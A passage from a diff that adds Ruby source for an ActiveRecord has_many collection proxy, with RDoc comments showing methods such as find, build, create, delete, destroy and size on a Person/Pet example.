+      # Be careful because this also means you're initializing a model
+      # object with only the fields that you've selected. If you attempt
+      # to access a field except +id+ that is not in the initialized record you'll
+      # receive:
+      #
+      #   person.pets.select(:name).first.person_id
+      #   # => ActiveModel::MissingAttributeError: missing attribute: person_id
+      #
+      # *Second:* You can pass a block so it can be used just like Array#select.
+      # This builds an array of objects from the database for the scope,
+      # converting them into an array and iterating through them using
+      # Array#select.
+      #
+      #   person.pets.select { |pet| pet.name =~ /oo/ }
+      #   # => [
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+
+      # Finds an object in the collection responding to the +id+. Uses the same
+      # rules as ActiveRecord::Base.find. Returns ActiveRecord::RecordNotFound
+      # error if the object cannot be found.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.find(1) # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+      #   person.pets.find(4) # => ActiveRecord::RecordNotFound: Couldn't find Pet with 'id'=4
+      #
+      #   person.pets.find(2) { |pet| pet.name.downcase! }
+      #   # => #<Pet id: 2, name: "fancy-fancy", person_id: 1>
+      #
+      #   person.pets.find(2, 3)
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      def find(*args, &block)
+        @association.find(*args, &block)
+      end
+
+      ##
+      # :method: first
+      #
+      # :call-seq:
+      #   first(limit = nil)
+      #
+      # Returns the first record, or the first +n+ records, from the collection.
+      # If the collection is empty, the first form returns +nil+, and the second
+      # form returns an empty array.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.first # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+      #
+      #   person.pets.first(2)
+      #   # => [
+      #   #      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>
+      #   #    ]
+      #
+      #   another_person_without.pets          # => []
+      #   another_person_without.pets.first    # => nil
+      #   another_person_without.pets.first(3) # => []
+
+      ##
+      # :method: second
+      #
+      # :call-seq:
+      #   second()
+      #
+      # Same as #first except returns only the second record.
+
+      ##
+      # :method: third
+      #
+      # :call-seq:
+      #   third()
+      #
+      # Same as #first except returns only the third record.
+
+      ##
+      # :method: fourth
+      #
+      # :call-seq:
+      #   fourth()
+      #
+      # Same as #first except returns only the fourth record.
+
+      ##
+      # :method: fifth
+      #
+      # :call-seq:
+      #   fifth()
+      #
+      # Same as #first except returns only the fifth record.
+
+      ##
+      # :method: forty_two
+      #
+      # :call-seq:
+      #   forty_two()
+      #
+      # Same as #first except returns only the forty second record.
+      # Also known as accessing "the reddit".
+
+      ##
+      # :method: third_to_last
+      #
+      # :call-seq:
+      #   third_to_last()
+      #
+      # Same as #first except returns only the third-to-last record.
+
+      ##
+      # :method: second_to_last
+      #
+      # :call-seq:
+      #   second_to_last()
+      #
+      # Same as #first except returns only the second-to-last record.
+
+      # Returns the last record, or the last +n+ records, from the collection.
+      # If the collection is empty, the first form returns +nil+, and the second
+      # form returns an empty array.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.last # => #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #
+      #   person.pets.last(2)
+      #   # => [
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   another_person_without.pets         # => []
+      #   another_person_without.pets.last    # => nil
+      #   another_person_without.pets.last(3) # => []
+      def last(limit = nil)
+        load_target if find_from_target?
+        super
+      end
+
+      # Gives a record (or N records if a parameter is supplied) from the collection
+      # using the same rules as <tt>ActiveRecord::Base.take</tt>.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.take # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+      #
+      #   person.pets.take(2)
+      #   # => [
+      #   #      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>
+      #   #    ]
+      #
+      #   another_person_without.pets         # => []
+      #   another_person_without.pets.take    # => nil
+      #   another_person_without.pets.take(2) # => []
+      def take(limit = nil)
+        load_target if find_from_target?
+        super
+      end
+
+      # Returns a new object of the collection type that has been instantiated
+      # with +attributes+ and linked to this object, but have not yet been saved.
+      # You can pass an array of attributes hashes, this will return an array
+      # with the new objects.
+      #
+      #   class Person
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.build
+      #   # => #<Pet id: nil, name: nil, person_id: 1>
+      #
+      #   person.pets.build(name: 'Fancy-Fancy')
+      #   # => #<Pet id: nil, name: "Fancy-Fancy", person_id: 1>
+      #
+      #   person.pets.build([{name: 'Spook'}, {name: 'Choo-Choo'}, {name: 'Brain'}])
+      #   # => [
+      #   #      #<Pet id: nil, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: nil, name: "Choo-Choo", person_id: 1>,
+      #   #      #<Pet id: nil, name: "Brain", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size  # => 5 # size of the collection
+      #   person.pets.count # => 0 # count from database
+      def build(attributes = {}, &block)
+        @association.build(attributes, &block)
+      end
+      alias_method :new, :build
+
+      # Returns a new object of the collection type that has been instantiated with
+      # attributes, linked to this object and that has already been saved (if it
+      # passes the validations).
+      #
+      #   class Person
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.create(name: 'Fancy-Fancy')
+      #   # => #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>
+      #
+      #   person.pets.create([{name: 'Spook'}, {name: 'Choo-Choo'}])
+      #   # => [
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size  # => 3
+      #   person.pets.count # => 3
+      #
+      #   person.pets.find(1, 2, 3)
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      def create(attributes = {}, &block)
+        @association.create(attributes, &block)
+      end
+
+      # Like #create, except that if the record is invalid, raises an exception.
+      #
+      #   class Person
+      #     has_many :pets
+      #   end
+      #
+      #   class Pet
+      #     validates :name, presence: true
+      #   end
+      #
+      #   person.pets.create!(name: nil)
+      #   # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+      def create!(attributes = {}, &block)
+        @association.create!(attributes, &block)
+      end
+
+      # Add one or more records to the collection by setting their foreign keys
+      # to the association's primary key. Since #<< flattens its argument list and
+      # inserts each record, +push+ and #concat behave identically. Returns +self+
+      # so method calls may be chained.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 0
+      #   person.pets.concat(Pet.new(name: 'Fancy-Fancy'))
+      #   person.pets.concat(Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo'))
+      #   person.pets.size # => 3
+      #
+      #   person.id # => 1
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.concat([Pet.new(name: 'Brain'), Pet.new(name: 'Benny')])
+      #   person.pets.size # => 5
+      def concat(*records)
+        @association.concat(*records)
+      end
+
+      # Replaces this collection with +other_array+. This will perform a diff
+      # and delete/add only records that have changed.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [#<Pet id: 1, name: "Gorby", group: "cats", person_id: 1>]
+      #
+      #   other_pets = [Pet.new(name: 'Puff', group: 'celebrities']
+      #
+      #   person.pets.replace(other_pets)
+      #
+      #   person.pets
+      #   # => [#<Pet id: 2, name: "Puff", group: "celebrities", person_id: 1>]
+      #
+      # If the supplied array has an incorrect association type, it raises
+      # an <tt>ActiveRecord::AssociationTypeMismatch</tt> error:
+      #
+      #   person.pets.replace(["doo", "ggie", "gaga"])
+      #   # => ActiveRecord::AssociationTypeMismatch: Pet expected, got String
+      def replace(other_array)
+        @association.replace(other_array)
+      end
+
+      # Deletes all the records from the collection according to the strategy
+      # specified by the +:dependent+ option. If no +:dependent+ option is given,
+      # then it will follow the default strategy.
+      #
+      # For <tt>has_many :through</tt> associations, the default deletion strategy is
+      # +:delete_all+.
+      #
+      # For +has_many+ associations, the default deletion strategy is +:nullify+.
+      # This sets the foreign keys to +NULL+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets # dependent: :nullify option by default
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete_all
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size # => 0
+      #   person.pets      # => []
+      #
+      #   Pet.find(1, 2, 3)
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: nil>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: nil>
+      #   #    ]
+      #
+      # Both +has_many+ and <tt>has_many :through</tt> dependencies default to the
+      # +:delete_all+ strategy if the +:dependent+ option is set to +:destroy+.
+      # Records are not instantiated and callbacks will not be fired.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets, dependent: :destroy
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete_all
+      #
+      #   Pet.find(1, 2, 3)
+      #   # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
+      #
+      # If it is set to <tt>:delete_all</tt>, all the objects are deleted
+      # *without* calling their +destroy+ method.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets, dependent: :delete_all
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete_all
+      #
+      #   Pet.find(1, 2, 3)
+      #   # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
+      def delete_all(dependent = nil)
+        @association.delete_all(dependent)
+      end
+
+      # Deletes the records of the collection directly from the database
+      # ignoring the +:dependent+ option. Records are instantiated and it
+      # invokes +before_remove+, +after_remove+ , +before_destroy+ and
+      # +after_destroy+ callbacks.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy_all
+      #
+      #   person.pets.size # => 0
+      #   person.pets      # => []
+      #
+      #   Pet.find(1) # => Couldn't find Pet with id=1
+      def destroy_all
+        @association.destroy_all
+      end
+
+      # Deletes the +records+ supplied from the collection according to the strategy
+      # specified by the +:dependent+ option. If no +:dependent+ option is given,
+      # then it will follow the default strategy. Returns an array with the
+      # deleted records.
+      #
+      # For <tt>has_many :through</tt> associations, the default deletion strategy is
+      # +:delete_all+.
+      #
+      # For +has_many+ associations, the default deletion strategy is +:nullify+.
+      # This sets the foreign keys to +NULL+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets # dependent: :nullify option by default
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete(Pet.find(1))
+      #   # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+      #
+      #   person.pets.size # => 2
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   Pet.find(1)
+      #   # => #<Pet id: 1, name: "Fancy-Fancy", person_id: nil>
+      #
+      # If it is set to <tt>:destroy</tt> all the +records+ are removed by calling
+      # their +destroy+ method. See +destroy+ for more information.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets, dependent: :destroy
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete(Pet.find(1), Pet.find(3))
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size # => 1
+      #   person.pets
+      #   # => [#<Pet id: 2, name: "Spook", person_id: 1>]
+      #
+      #   Pet.find(1, 3)
+      #   # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 3)
+      #
+      # If it is set to <tt>:delete_all</tt>, all the +records+ are deleted
+      # *without* calling their +destroy+ method.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets, dependent: :delete_all
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete(Pet.find(1))
+      #   # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+      #
+      #   person.pets.size # => 2
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   Pet.find(1)
+      #   # => ActiveRecord::RecordNotFound: Couldn't find Pet with 'id'=1
+      #
+      # You can pass +Integer+ or +String+ values, it finds the records
+      # responding to the +id+ and executes delete on them.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.delete("1")
+      #   # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+      #
+      #   person.pets.delete(2, 3)
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      def delete(*records)
+        @association.delete(*records)
+      end
+
+      # Destroys the +records+ supplied and removes them from the collection.
+      # This method will _always_ remove record from the database ignoring
+      # the +:dependent+ option. Returns an array with the removed records.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy(Pet.find(1))
+      #   # => [#<Pet id: 1, name: "Fancy-Fancy", person_id: 1>]
+      #
+      #   person.pets.size # => 2
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy(Pet.find(2), Pet.find(3))
+      #   # => [
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size  # => 0
+      #   person.pets       # => []
+      #
+      #   Pet.find(1, 2, 3) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (1, 2, 3)
+      #
+      # You can pass +Integer+ or +String+ values, it finds the records
+      # responding to the +id+ and then deletes them from the database.
+      #
+      #   person.pets.size # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 4, name: "Benny", person_id: 1>,
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy("4")
+      #   # => #<Pet id: 4, name: "Benny", person_id: 1>
+      #
+      #   person.pets.size # => 2
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.destroy(5, 6)
+      #   # => [
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size  # => 0
+      #   person.pets       # => []
+      #
+      #   Pet.find(4, 5, 6) # => ActiveRecord::RecordNotFound: Couldn't find all Pets with 'id': (4, 5, 6)
+      def destroy(*records)
+        @association.destroy(*records)
+      end
+
+      ##
+      # :method: distinct
+      #
+      # :call-seq:
+      #   distinct(value = true)
+      #
+      # Specifies whether the records should be unique or not.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.select(:name)
+      #   # => [
+      #   #      #<Pet name: "Fancy-Fancy">,
+      #   #      #<Pet name: "Fancy-Fancy">
+      #   #    ]
+      #
+      #   person.pets.select(:name).distinct
+      #   # => [#<Pet name: "Fancy-Fancy">]
+      #
+      #   person.pets.select(:name).distinct.distinct(false)
+      #   # => [
+      #   #      #<Pet name: "Fancy-Fancy">,
+      #   #      #<Pet name: "Fancy-Fancy">
+      #   #    ]
+
+      #--
+      def calculate(operation, column_name)
+        null_scope? ? scope.calculate(operation, column_name) : super
+      end
+
+      def pluck(*column_names)
+        null_scope? ? scope.pluck(*column_names) : super
+      end
+
+      ##
+      # :method: count
+      #
+      # :call-seq:
+      #   count(column_name = nil, &block)
+      #
+      # Count all records.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   # This will perform the count using SQL.
+      #   person.pets.count # => 3
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      # Passing a block will select all of a person's pets in SQL and then
+      # perform the count using Ruby.
+      #
+      #   person.pets.count { |pet| pet.name.include?('-') } # => 2
+
+      # Returns the size of the collection. If the collection hasn't been loaded,
+      # it executes a <tt>SELECT COUNT(*)</tt> query. Else it calls <tt>collection.size</tt>.
+      #
+      # If the collection has been already loaded +size+ and +length+ are
+      # equivalent. If not and you are going to need the records anyway
+      # +length+ will take one less query. Otherwise +size+ is more efficient.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 3
+      #   # executes something like SELECT COUNT(*) FROM "pets" WHERE "pets"."person_id" = 1
+      #
+      #   person.pets # This will execute a SELECT * FROM query
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      #
+      #   person.pets.size # => 3
+      #   # Because the collection is already loaded, this will behave like
+      #   # collection.size and no SQL count query is executed.
+      def size
+        @association.size
+      end
+
+      ##
+      # :method: length
+      #
+      # :call-seq:
+      #   length()
+      #
+      # Returns the size of the collection calling +size+ on the target.
+      # If the collection has been already loaded, +length+ and +size+ are
+      # equivalent. If not and you are going to need the records anyway this
+      # method will take one less query. Otherwise +size+ is more efficient.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.length # => 3
+      #   # executes something like SELECT "pets".* FROM "pets" WHERE "pets"."person_id" = 1
+      #
+      #   # Because the collection is loaded, you can
+      #   # call the collection with no additional queries:
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+
+      # Returns +true+ if the collection is empty. If the collection has been
+      # loaded it is equivalent
+      # to <tt>collection.size.zero?</tt>. If the collection has not been loaded,
+      # it is equivalent to <tt>!collection.exists?</tt>. If the collection has
+      # not already been loaded and you are going to fetch the records anyway it
+      # is better to check <tt>collection.length.zero?</tt>.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.count  # => 1
+      #   person.pets.empty? # => false
+      #
+      #   person.pets.delete_all
+      #
+      #   person.pets.count  # => 0
+      #   person.pets.empty? # => true
+      def empty?
+        @association.empty?
+      end
+
+      ##
+      # :method: any?
+      #
+      # :call-seq:
+      #   any?()
+      #
+      # Returns +true+ if the collection is not empty.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.count # => 0
+      #   person.pets.any?  # => false
+      #
+      #   person.pets << Pet.new(name: 'Snoop')
+      #   person.pets.count # => 1
+      #   person.pets.any?  # => true
+      #
+      # You can also pass a +block+ to define criteria. The behavior
+      # is the same, it returns true if the collection based on the
+      # criteria is not empty.
+      #
+      #   person.pets
+      #   # => [#<Pet name: "Snoop", group: "dogs">]
+      #
+      #   person.pets.any? do |pet|
+      #     pet.group == 'cats'
+      #   end
+      #   # => false
+      #
+      #   person.pets.any? do |pet|
+      #     pet.group == 'dogs'
+      #   end
+      #   # => true
+
+      ##
+      # :method: many?
+      #
+      # :call-seq:
+      #   many?()
+      #
+      # Returns true if the collection has more than one record.
+      # Equivalent to <tt>collection.size > 1</tt>.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.count # => 1
+      #   person.pets.many? # => false
+      #
+      #   person.pets << Pet.new(name: 'Snoopy')
+      #   person.pets.count # => 2
+      #   person.pets.many? # => true
+      #
+      # You can also pass a +block+ to define criteria. The
+      # behavior is the same, it returns true if the collection
+      # based on the criteria has more than one record.
+      #
+      #   person.pets
+      #   # => [
+      #   #      #<Pet name: "Gorby", group: "cats">,
+      #   #      #<Pet name: "Puff", group: "cats">,
+      #   #      #<Pet name: "Snoop", group: "dogs">
+      #   #    ]
+      #
+      #   person.pets.many? do |pet|
+      #     pet.group == 'dogs'
+      #   end
+      #   # => false
+      #
+      #   person.pets.many? do |pet|
+      #     pet.group == 'cats'
+      #   end
+      #   # => true
+
+      # Returns +true+ if the given +record+ is present in the collection.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets # => [#<Pet id: 20, name: "Snoop">]
+      #
+      #   person.pets.include?(Pet.find(20)) # => true
+      #   person.pets.include?(Pet.find(21)) # => false
+      def include?(record)
+        !!@association.include?(record)
+      end
+
+      def proxy_association
+        @association
+      end
+
+      # Returns a <tt>Relation</tt> object for the records in this association
+      def scope
+        @scope ||= @association.scope
+      end
+
+      # Equivalent to <tt>Array#==</tt>. Returns +true+ if the two arrays
+      # contain the same number of elements and if each element is equal
+      # to the corresponding element in the +other+ array, otherwise returns
+      # +false+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>
+      #   #    ]
+      #
+      #   other = person.pets.to_ary
+      #
+      #   person.pets == other
+      #   # => true
+      #
+      #   other = [Pet.new(id: 1), Pet.new(id: 2)]
+      #
+      #   person.pets == other
+      #   # => false
+      def ==(other)
+        load_target == other
+      end
+
+      # Returns a new array of objects from the collection. If the collection
+      # hasn't been loaded, it fetches the records from the database.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets
+      #   # => [
+      #   #       #<Pet id: 4, name: "Benny", person_id: 1>,
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   other_pets = person.pets.to_ary
+      #   # => [
+      #   #       #<Pet id: 4, name: "Benny", person_id: 1>,
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      #
+      #   other_pets.replace([Pet.new(name: 'BooGoo')])
+      #
+      #   other_pets
+      #   # => [#<Pet id: nil, name: "BooGoo", person_id: 1>]
+      #
+      #   person.pets
+      #   # This is not affected by replace
+      #   # => [
+      #   #       #<Pet id: 4, name: "Benny", person_id: 1>,
+      #   #       #<Pet id: 5, name: "Brain", person_id: 1>,
+      #   #       #<Pet id: 6, name: "Boss",  person_id: 1>
+      #   #    ]
+      def to_ary
+        load_target.dup
+      end
+      alias_method :to_a, :to_ary
+
+      def records # :nodoc:
+        load_target
+      end
+
+      # Adds one or more +records+ to the collection by setting their foreign keys
+      # to the association's primary key. Returns +self+, so several appends may be
+      # chained together.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets.size # => 0
+      #   person.pets << Pet.new(name: 'Fancy-Fancy')
+      #   person.pets << [Pet.new(name: 'Spook'), Pet.new(name: 'Choo-Choo')]
+      #   person.pets.size # => 3
+      #
+      #   person.id # => 1
+      #   person.pets
+      #   # => [
+      #   #      #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
+      #   #      #<Pet id: 2, name: "Spook", person_id: 1>,
+      #   #      #<Pet id: 3, name: "Choo-Choo", person_id: 1>
+      #   #    ]
+      def <<(*records)
+        proxy_association.concat(records) && self
+      end
+      alias_method :push, :<<
+      alias_method :append, :<<
+
+      def prepend(*args)
+        raise NoMethodError, "prepend on association is not defined. Please use <<, push or append"
+      end
+
+      # Equivalent to +delete_all+. The difference is that returns +self+, instead
+      # of an array with the deleted objects, so methods can be chained. See
+      # +delete_all+ for more information.
+      # Note that because +delete_all+ removes records by directly
+      # running an SQL query into the database, the +updated_at+ column of
+      # the object is not changed.
+      def clear
+        delete_all
+        self
+      end
+
+      # Reloads the collection from the database. Returns +self+.
+      # Equivalent to <tt>collection(true)</tt>.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets # uses the pets cache
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets.reload # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets(true)  # fetches pets from the database
